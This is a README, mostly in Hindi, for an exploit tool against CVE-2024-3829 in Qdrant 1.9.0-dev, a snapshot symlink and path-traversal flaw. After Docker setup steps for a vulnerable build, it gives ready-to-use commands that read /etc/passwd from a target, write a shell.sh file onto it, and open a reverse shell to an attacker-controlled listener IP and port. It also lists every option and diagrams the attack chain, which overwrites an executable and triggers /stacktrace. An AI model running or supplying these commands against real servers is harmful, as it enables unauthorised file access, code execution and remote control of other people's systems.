
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
यह रिपॉजिटरी CVE-2024-3829 के लिए qdrant/qdrant (v1.9.0-dev) का दस्तावेज़ीकरण और प्रदर्शन करती है।
यह कमजोरी सिमलिंक/पथ ट्रिक्स के माध्यम से स्नैपशॉट आर्काइव में हेरफेर की अनुमति देती है। इससे दो प्रभाव वर्ग और एक रिवर्स शेल hahhaa सक्षम होता है:
वातावरण के आधार पर, फ़ाइल-लिखने की प्राइमिटिव कोड निष्पादन की ओर बढ़ सकती हैं।
1.9.0-devयह संस्करण अब विश्वव्यापी वेब (कुछ लोग इसे "इंटरनेट" कहते हैं) पर उपलब्ध नहीं है।
qdrant रिपॉजिटरी में, NVD Nist रिपोर्ट ने कमिट की ओर इशारा किया, जो कि कमजोर v1.9.0-dev है।
यदि आप इस संस्करण को CTF / अन्य चीजों के लिए डॉकर पर स्थापित करना चाहते हैं, तो उपयोग करें:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - पढ़ने/लिखने/ट्रिगर कार्यप्रवाह के लिए एक्सप्लॉइटrequirements.txt - Python निर्भरताएँrequestsस्थापना:
python3 -m pip install -r requirements.txt
सभी विकल्प दिखाएँ:
python3 cve_2024_3829.py -h
उदाहरण:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: CLI सहायता दिखाएँ-m, --mode: read, write, reverse_shell में से एक (आवश्यक)-tu, --target_url: Qdrant बेस URL (स्क्रिप्ट में डिफ़ॉल्ट)-tp, --target_port: लक्ष्य Qdrant पोर्ट (डिफ़ॉल्ट: 6333)-tpath, --target_path: रिमोट लक्ष्य पथ (डिफ़ॉल्ट: /etc/)--target_url बेस URL होना चाहिए जिसमें पोर्ट न हो यदि आप --target_port अलग से पास करते हैं, क्योंकि स्क्रिप्ट URLs को <url>:<target_port>/... के रूप में बनाती है।read मोड में, स्क्रिप्ट --target_path और --target_file_name को जोड़ती है (उदाहरण के लिए /etc/ + passwd)।write मोड में, --attacker_path को एक मौजूदा स्थानीय फ़ाइल की ओर इशारा करना चाहिए और --attacker_file_name रिमोट फ़ाइल नाम परिभाषित करता है।sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: रिमोट लक्ष्य फ़ाइल नाम (डिफ़ॉल्ट: passwd)-ai, --attacker_ip: रिवर्स शेल मोड के लिए कॉलबैक/श्रोता IP-ap, --attacker_port: कॉलबैक/श्रोता पोर्ट (डिफ़ॉल्ट: 9001)-apath, --attacker_path: राइट मोड के लिए स्थानीय हमलावर फ़ाइल पथ (डिफ़ॉल्ट: /tmp/)-af, --attacker_file_name: राइट मोड में लक्ष्य पर उपयोग किया जाने वाला फ़ाइल नाम (डिफ़ॉल्ट: shell.sh)